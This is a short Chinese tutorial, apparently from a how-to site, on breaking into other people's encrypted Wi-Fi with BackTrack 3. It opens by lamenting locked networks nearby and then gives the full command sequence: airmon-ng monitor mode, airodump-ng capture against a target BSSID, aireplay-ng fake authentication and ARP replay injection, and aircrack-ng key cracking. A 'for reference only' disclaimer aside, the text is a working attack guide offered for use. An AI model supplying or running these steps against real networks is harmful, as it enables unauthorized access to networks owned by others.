1、许多人的笔记本电脑或手机搜索到了无线网络,但却是加密的,无法使用,那个心里难受啊,下面小编教大家用笔记本电脑通过backtrack 3破解无线网络(仅供参考)。
2、将下载好的backtrack3(BT3) usb版,文件bt3b141207.rar直接解压到U盘(1G以上容量)。 把Boot 和BT3两个文件夹放到U盘的根目录,打开BOOT文件夹双击运行" bootinst.bat "批处理文件。 U盘里就会多出4个文件." isolinux.boot" "isolinux.cfg" "isolinux.bin " "syslinux.cfg"
3、之后重启 windows 进入BIOS设置,把BIOS里的frist boot device设置为USB-HDD(或者是USB--ZIP)再重启选择从usb启动。 系统进入backtrack3 系统。
4、在shell窗口中输入 ifconfig 命令 ,出现如下信息: lo no wireless extensions. .......... Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0
5、找出你的无线网卡名字,我这里是 eth1.再启动你的网卡为Moniter模式(输入airmon-ng start eth1 11)。 再输入 ifconfig 命令 ,返回如下信息: lo no wireless extensions. .......... Tx excessive retries:0 Invalid misc:0 Missed beacon:0
6、输入命令 airodump-ng -c 11 --bssid 00:1A:01:8D:C3:B2 -w outputs eth1. 命令中的11 表示要破解的频道号,bssid后面的数字表示破解目标的MAC物理地址,outputs表示要生成的包的名称。 回车运行。
7、再开一个 shell 输入 aireplay-ng -1 0 -e targetnet -a 00:1A:01:8D:C3:B2 -h 00:A1:C1:D8:A5:B6 eth1 其中“targetnet”表示破解目标网络名,00:1A:01:8D:C3:B2前面已解释过是指目标MAC物理地址,00:A1:C1:D8:A5:B6表示本机网卡MAC物理地址
8、再开一个 shell 输入 aireplay-ng -3 -b 00:1A:01:8D:C3:B2 -h 00:A1:C1:D8:A5:B6 eth1 获取更多的数据包。 返回数据量到1万的时候就可以破解了。 再开一个shell输入 aircrack-ng -z -b 00:1A:01:8D:C3:B2 outputs.cap 进行破解。 如果破解不成功,让它继续抓包,直到破解。